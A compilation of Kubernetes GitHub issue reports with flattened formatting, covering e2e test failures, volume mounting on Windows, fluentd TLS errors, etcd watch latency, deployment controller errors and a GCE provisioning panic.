kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r when i run e2e test in my env, there are 4 failures:\r    \r  fail   sig-storage  configmap  it  should be consumable from pods in volume with mappings as non-root with fsgroup  feature:fsgroup \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2199\r \r  fail   sig-storage  projected  it  should be consumable from pods in volume with mappings as non-root  conformance \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2199\r \r  fail   sig-storage  configmap  it  should be consumable from pods in volume with mappings as non-root   conformance \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2199\r \r  fail   sig-storage  projected  it  should be consumable from pods in volume with mappings as non-root with fsgroup  feature:fsgroup \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2199\r    \r it has the information:\r    \r feb 26 10:53:50.756: info: pod \ pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762\ : phase=\ failed\ , reason=\ \ , readiness=false. elapsed: 4m2.009122368s\r feb 26 10:53:50.764: info: output of node \ 127.0.0.1\  pod \ pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762\  container \ configmap-volume-test\ : error from stat \ /etc/configmap-volume/path/to/data-2\  : stat /etc/configmap-volume/path/to/data-2: permission denied\r error reading file content for \ /etc/configmap-volume/path/to/data-2\ : open /etc/configmap-volume/path/to/data-2: permission denied\r \r step: delete the pod\r feb 26 10:53:50.786: info: waiting for pod pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762to disappear\r feb 26 10:53:50.790: info: pod pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762 no longer exists\r feb 26 10:53:50.790: info: unexpected error occurred: expected pod \ pod-configmaps-b5d28f75-1a9f-11e8-a142-525400cc9762\  success: pod \ pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-02-26 10:49:48 +0800 cst reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-02-26 10:49:48 +0800 cst reason:containersnotready message:containers with unready status:  configmap-volume-test } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-02-26 10:49:48 +0800 cst reason: message:}  message: reason: hostip:127.0.0.1 podip:172.17.0.3 starttime:2018-02-26 10:49:48 +0800 cst initcontainerstatuses:   containerstatuses: {name:configmap-volume-test state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:2018-02-26 10:49:53 +0800 cst,finishedat:2018-02-26 10:49:53 +0800 cst,containerid:docker://1ade851fba0c921a0f83055fc315da1d793d728069ea303b7bf39e3bf4ae8d5d,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0 imageid:docker-pullable://gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca containerid:docker://1ade851fba0c921a0f83055fc315da1d793d728069ea303b7bf39e3bf4ae8d5d}  qosclass:besteffort}\r \r    \r in the progress, i got this blow:\r    \r  root@localhost ~   kubectl get pod --all-namespaces -a\r namespace                   name                                                  ready     status    restarts   age\r e2e-tests-configmap-dz5vb   pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762   0/1       error     0          3m\r kube-system                 kube-dns-774d5484cc-mch64                             3/3       running   0          4m\r  root@localhost ~  \r  root@localhost ~   kubectl describe pod pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762 -n e2e-tests-configmap-dz5vb\r name:         pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762\r namespace:    e2e-tests-configmap-dz5vb\r node:         127.0.0.1/127.0.0.1\r start time:   mon, 26 feb 2018 10:41:32 +0800\r labels:       <none>\r annotations:  <none>\r status:       failed\r ip:           172.17.0.3\r containers:\r   configmap-volume-test:\r     container id:  docker://1ade851fba0c921a0f83055fc315da1d793d728069ea303b7bf39e3bf4ae8d5d\r     image:         gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0\r     image id:      docker-pullable://gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca\r     port:          <none>\r     args:\r       --file_content=/etc/configmap-volume/path/to/data-2\r       --file_mode=/etc/configmap-volume/path/to/data-2\r     state:          terminated\r       reason:       error\r       exit code:    1\r       started:      mon, 26 feb 2018 10:41:35 +0800\r       finished:     mon, 26 feb 2018 10:41:35 +0800\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /etc/configmap-volume from configmap-volume  ro \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-b2gtj  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   configmap-volume:\r     type:      configmap  a volume populated by a configmap \r     name:      configmap-test-volume-map-8de88fc3-1a9e-11e8-a142-525400cc9762\r     optional:  false\r   default-token-b2gtj:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-b2gtj\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type    reason                 age   from                message\r   ----    ------                 ----  ----                -------\r   normal  scheduled              3m    default-scheduler   successfully assigned pod-configmaps-8de8dd5c-1a9e-11e8-a142-525400cc9762 to 127.0.0.1\r   normal  successfulmountvolume  3m    kubelet, 127.0.0.1  mountvolume.setup succeeded for volume \ configmap-volume\ \r   normal  successfulmountvolume  3m    kubelet, 127.0.0.1  mountvolume.setup succeeded for volume \ default-token-b2gtj\ \r   normal  pulled                 3m    kubelet, 127.0.0.1  container image \ gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0\  already present on machine\r   normal  created                3m    kubelet, 127.0.0.1  created container\r   normal  started                3m    kubelet, 127.0.0.1  started container\r    \r but i have no idea about it. is there someone having the same wrong case?\r   what you expected to happen  :\r the case can pass.\r   how to reproduce it  as minimally and precisely as possible   :\r after  ./hack/local-up-cluster.sh , running the command: \r    \r _output/bin/e2e.test --host=\ http://127.0.0.1:8080\  --provider=\ local\  --ginkgo.v=true --kubeconfig=\ $home/.kube/config\  --repo-root=\ $gopath/src/k8s.io/kubernetes\  --ginkgo.focus=\ should be consumable from pods in volume with mappings as non-root\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others: docker --version: 17.06.1-ce\r

what happened  : \r one kubernetes cluster is running on one host  192.168.1.11  and a mongo-pod mongo1:27017-container port  is running inside kubernetes with service type as nodeport 31167 .\r \r on another host 192.168.1.12 , i am also running another instance of mongo-pod  mongo2  inside different kubernetes cluster with service-type as nodeport 30449 .\r \r now, i need to configure the replication part of mongo inside from the pod of mongo1 using kubectl exec -it mongo1 mongo.\r \r for replication, i need to use the other instance with service ip 192.168.1.12:30449, but this ip is not reachable from inside the pod. hence, the mongodb is not behaving the same as expected.\r \r   what you expected to happen  :\r the mongodb replication should be replicated with the other instance using service ip 192.168.1.12:30449\r \r note: i can run the same scenario with docker container but unable to run the same docker container inside kubernetes cluster.\r \r   is this a bug report or feature request?  :\r is there any way to use the hostip from inside the pod or is this a limitation with kubernetes...?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.13.0-36-generic\r - install tools:\r - others: \r \r \r > uncomment only one, leave it on its own line:\r >\r  >  \r  \r   anything else we need to know?  :\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r trying to create a windows pod that has the host's docker daemon named pipe  \\\\.\\pipe\\docker_engine  volume mounted inside it. \r i've made sure the docker version installed on the windows node supports this feature i.e v18.06.0-ce.\r this works beautifully when run locally on my win 10 dev machine using this command:\r  docker run -it --rm -v \\\\.\\pipe\\docker_engine:\\\\.\\pipe\\docker_engine microsoft:windowsservercore:1803 powershell \r but when trying this on k8s using hostpath volume it does not work and fails with this error:\r \r  error: error response from daemon: invalid volume specification: 'c:\\\\.\\pipe\\docker-engine:c:\\\\.\\pipe\\docker-engine' \r \r notice that k8s automatically prepends the   c:   which should be culprit making the volume mounting fail.\r \r   what you expected to happen  :\r \r i expect to be able to volume mount named pipes on windows\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   need a 1.11.0 k8s cluster with a windows server 1803 node  10.0.17134.1 \r see  here  https://docs.microsoft.com/en-us/virtualization/windowscontainers/kubernetes/getting-started-kubernetes-windows  for instructions.\r   install docker and dockerd version   v18.06.0-ce   on the windows node and restart the docker service.\r   create a pod yaml like this and schedule it on k8s\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: docker-pipe-windows\r spec:\r   nodeselector:\r     beta.kubernetes.io/os: windows\r   containers:\r     - name: main\r       image: micrososft/windowsservercore:1803\r       command:\r         - powershell\r         - start-sleep\r         - \ -s 3600\ \r       volumemounts:\r         - mountpath: \\\\.\\pipe\\docker-engine\r           name: docker-pipe\r   volumes:\r     - name: docker-pipe\r       hostpath: \r         path: \\\\.\\pipe\\docker-engine\r         type: null\r   restartpolicy: never\r    \r the pod will fail with:\r \r  error: error response from daemon: invalid volume specification: 'c:\\\\.\\pipe\\docker-engine:c:\\\\.\\pipe\\docker-engine' \r \r if i change the hostpath type to   file   it fails with:\r \r  mountvolume.setup failed for volume \ docker-pipe\  : hostpath type check failed: \\\\.\\pipe\\docker-engine is not a file \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r λ  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r λ  kubectl get nodes -o wide\r name                status    roles     age       version   external-ip   os-image                                      kernel-version          container-runtime \r warlockk8s-master   ready     master    37d       v1.11.0   <none>        red hat enterprise linux server 7.4  maipo    3.10.0-862.el7.x86_64   docker://1.13.1\r warlockk8s-rhel0    ready     <none>    37d       v1.11.0   <none>        red hat enterprise linux server 7.4  maipo    3.10.0-862.el7.x86_64   docker://1.13.1\r warlockk8s-rhel1    ready     <none>    37d       v1.11.0   <none>        red hat enterprise linux server 7.4  maipo    3.10.0-862.el7.x86_64   docker://1.13.1\r warlockk8s-win0     ready     <none>    6d        v1.11.0   <none>        windows server standard                       10.0.17134.1        docker://18.6.0\r warlockk8s-win1     ready     <none>    6d        v1.11.0   <none>        windows server datacenter   10.0.17134.1        docker://18.6.0\r    \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hello,\r \r i am trying to set up the log collection system by fluentd-elasticsearch under addons folder. \r when i deploy the fluentd-es-ds.yaml, i got below error  certificate verify failed . \r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-ds.yaml\r \r so how can i use http to instead https https://172.21.0.1:443/api ?  \r \r --------------error------------\r $ kubectl -n kube-system logs -f fluentd-es-v2.2.0-4snfw\r 2018-08-22 13:53:15 +0000  error : config error file=\ /etc/fluent/fluent.conf\  error_class=fluent::configerror error=\ invalid kubernetes api v1 endpoint https://172.21.0.1:443/api: ssl_connect returned=1 errno=0 state=error: certificate verify failed\ \r \r \r thanks!\r br, wwyhy

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r there are utility functions for use with the  nodeinfo  type in  k8s.io/kubernetes/pkg/scheduler/util . these should be moved into  k8s.io/kubernetes/pkg/scheduler/cache  because that is where the  nodeinfo  type is defined.\r \r /ref https://github.com/kubernetes/kubernetes/issues/68961\r   /help\r /good-first-issue\r

scenario:   controller x has a watch against kube-api-server on resource y client a creates a new y 1. kube-api-server creates a resource y in etcd 2. etcd acknowledges create and responds with y, y createdindex/modifiedindex mapped to resourceversion 3. kube-api-server is notified via a watch event from etcd that y exists 4. controller x is then notified that y exists    goal:   measure the time between when the kube-api-server knows the resource was created  step 2  and when it is retold that the resource was created via a watch notification from etcd  step 3 .  i think we could track this by recording the local kube-api-server time with the resource creationtimestamp for watch where the nodeaction is create.  there have been a few issues where as the number of keys in etcd grows to n, the time it takes to get notified in the api-server for n+1 resource appears to grow even when inside an etcd watch window, having a metric would make it easier to debug, but have encountered some issues where latency appears to ~20s in some cases where if reported could provide a dump of some metrics endpoint, it would have been easier to isolate the issue.    caveats:    i am most interested in measuring the time when inside of an etcd watch window; so i think it's fine if we ignored the metric on list+watch scenarios.  @wojtek-t - have you done any measurements in this area?

workloads are implemented using multiple api objects in etcd  deployment => rs => pod  that often need to be read and written transactionally.  because we do not have multi key write transactions, our business logic needs to identify and handle partially applied changes  e.g. scaling multiple rs in a deployment .  this pushes complexity into the business logic of the controller that should instead be handled by storage.  because we are not able to index fields  e.g. labels  in the storage layer, the full storage is read into an in-memory cache and indexed in-memory.  the cache is updated asynchronously after writes are persisted  not a write-through cache .  this makes it hard to make guarantees about what persisted changes are reflected in our reads when syncing objects.  pushing the management of \ transactions\  out of our business logic and into the storage layer will reduce the total complexity of the system.  pushing indexes into the storage layer will reduce the need for an in-memory cache.  right now the complexity is manageable, but that will become less true as more controllers are added.

env: kubernetes 1.3.3 on aws  i ran into the same problem described into  26673 but now it's happening on every deploy. i would have reopened the issue, but i was not the author so i could not.  the bug presents itself because i have a build that does  kubectl rollout status deployment/application-unstable  just after a  kubectl apply -f <new deployment manifest>  and it gets stuck forever because the rollout is never reported as finished  it does finish tho .      jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.615754   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.557964   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.509632   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.456868   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.409374   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.357072   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.306676   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.257030   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.206504   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.157741   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.112898   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.059652   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:27 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:27.007476   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.956218   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.910275   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.857240   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.806429   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.756885   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.706639   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.656417   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.607126   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.557562   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.506025   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.456588   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.422213   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.356907   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.313353   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.257953   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.209894   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.160954   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.107205   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.056387   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists jul 26 12:42:26 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:26.006022   17798 deployment_controller.go:400  error syncing deployment default/application-celery-worker-unstable: error creating replica set application-celery-worker-unstable: replicasets \ application-celery-worker-unstable-3295993310\  already exists jul 26 12:42:25 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:25.956830   17798 deployment_controller.go:400  error syncing deployment default/application-unstable: error creating replica set application-unstable: replicasets \ application-unstable-900752437\  already exists jul 26 12:42:25 ip-x-x-x-x kube-controller-manager 17798 : e0726 12:42:25.906450   17798 deployment_controller.go:400  error syncing deployment default/application-celery-unstable: error creating replica set application-celery-unstable: replicasets \ application-celery-unstable-1891916216\  already exists

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/4927/ failed: testnewwithdelegate {server}      config_test.go:139: http/1.1 200 ok \tcontent-length: 287 \tcontent-type: application/json \tdate: thu, 20 apr 2017 14:44:07 gmt \t \t{ \t  \ paths\ :   \t    \ /apis\ , \t    \ /bar\ , \t    \ /foo\ , \t    \ /healthz\ , \t    \ /healthz/delegate-health\ , \t    \ /healthz/ping\ , \t    \ /healthz/poststarthook/delegate-post-start-hook\ , \t    \ /healthz/poststarthook/wrapping-post-start-hook\ , \t    \ /healthz/wrapping-health\ , \t    \ /swaggerapi/\  \t    \t} config_test.go:139: http/1.1 500 internal server error \tcontent-length: 229 \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \tx-content-type-options: nosniff \t \t + ping ok \t - wrapping-health failed: reason withheld \t - delegate-health failed: reason withheld \t + poststarthook/delegate-post-start-hook ok \t - poststarthook/wrapping-post-start-hook failed: reason withheld \thealthz check failed \t config_test.go:147: \ http://127.0.0.1:48773/healthz\  expected  + ping ok \t - wrapping-health failed: reason withheld \t - delegate-health failed: reason withheld \t + poststarthook/delegate-post-start-hook ok \t + poststarthook/wrapping-post-start-hook ok \thealthz check failed \t, got  + ping ok \t - wrapping-health failed: reason withheld \t - delegate-health failed: reason withheld \t + poststarthook/delegate-post-start-hook ok \t - poststarthook/wrapping-post-start-hook failed: reason withheld \thealthz check failed config_test.go:139: http/1.1 500 internal server error \tcontent-length: 51 \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \tx-content-type-options: nosniff \t \tinternal server error: delegate failed healthcheck \t config_test.go:139: http/1.1 500 internal server error \tcontent-length: 51 \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \tx-content-type-options: nosniff \t \tinternal server error: wrapping failed healthcheck \t config_test.go:139: http/1.1 200 ok \tcontent-length: 2 \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \t \tok config_test.go:139: http/1.1 200 ok \tcontent-length: 2 \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \t \tok config_test.go:139: http/1.1 403 forbidden \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \tcontent-length: 0 \t \t config_test.go:139: http/1.1 401 unauthorized \tcontent-type: text/plain; charset=utf-8 \tdate: thu, 20 apr 2017 14:44:07 gmt \tcontent-length: 0 \t \t

we should do this after 1.7.\r \r xref https://github.com/kubernetes/kubernetes/pull/46644 issuecomment-307170512\r \r  \r cc @vishh

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r bug report\r \r  \r \r   what happened  :\r \r i create crd and two custom resources. then watch it from \ 0\ . the two events are out of order:\r \r    \r event: added name: test2 version: 950362\r event: added name: test  version: 950361\r    \r the object with larger resource version is delivered before the one with smaller version.\r for more context, i create \ test\  object before \ test2\ .\r \r   what you expected to happen  :\r events should be delivered in order of object's resource versions, from smallest.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.1-gke.0\ , gitcommit:\ 841411e511bfb1ccd78e76bf8633d4515061e18b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t17:52:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

in  pkg/api/testing/fuzzer.go  there is a  overridegenericfuncs  function. we switched some of the apigroups  most are in  pkg/apis   to have their own fuzzer/ package  e.g.  vendor/k8s.io/apiserver/pkg/apis/example/fuzzer/fuzzer.go  . the task would be to split the  pkg/api/testing/fuzzer.go  file up and create those fuzzer dirs in the  pkg/apis/<apigroup>/fuzzer .

pull-kubernetes-kubemark-e2e-gce  is failing almost continuously - https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-kubemark-e2e-gce\r with the following error:\r \r    \r expected error:\r     < errors.errorstring | 0xc420cc4300>: {\r         s: \ only 0 pods started out of 1\ ,\r     }\r     only 0 pods started out of 1\r not to have occurred\r    \r \r cc @kubernetes/sig-scalability-misc @kubernetes/test-infra-maintainers @jdumars @luxas

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r an error occured when creating a persistentvolumeclaim on a single node cluster created with kubeadm. the cluster is created by following  kelsey hightower's tutorial  https://github.com/kelseyhightower/kubeadm-single-node-cluster \r the persistentvolumeclaim remains _pending_ and we see the following errors in the log of the _kube-controller-manager_:\r    \r e1119 07:37:19.250536       1 goroutinemap.go:166  operation for \ provision-default/mypvc 584905c8-ccfc-11e7-b129-42010a840006 \  failed. no retries permitted until 2017-11-19 07:37:27.250512635 +0000 utc  durationbeforeretry 8s . error: recovered from panic \ runtime error: invalid memory address or nil pointer dereference\ .  err=<nil>  call stack:\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:153\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:290\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/gce/gce.go:1094\r 